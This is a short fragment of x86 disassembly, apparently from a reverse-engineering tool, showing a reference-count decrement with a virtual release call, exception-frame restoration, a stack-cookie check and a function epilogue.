or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41d45a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x41d463
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046d9d8
mov esp, ebp
pop ebp
ret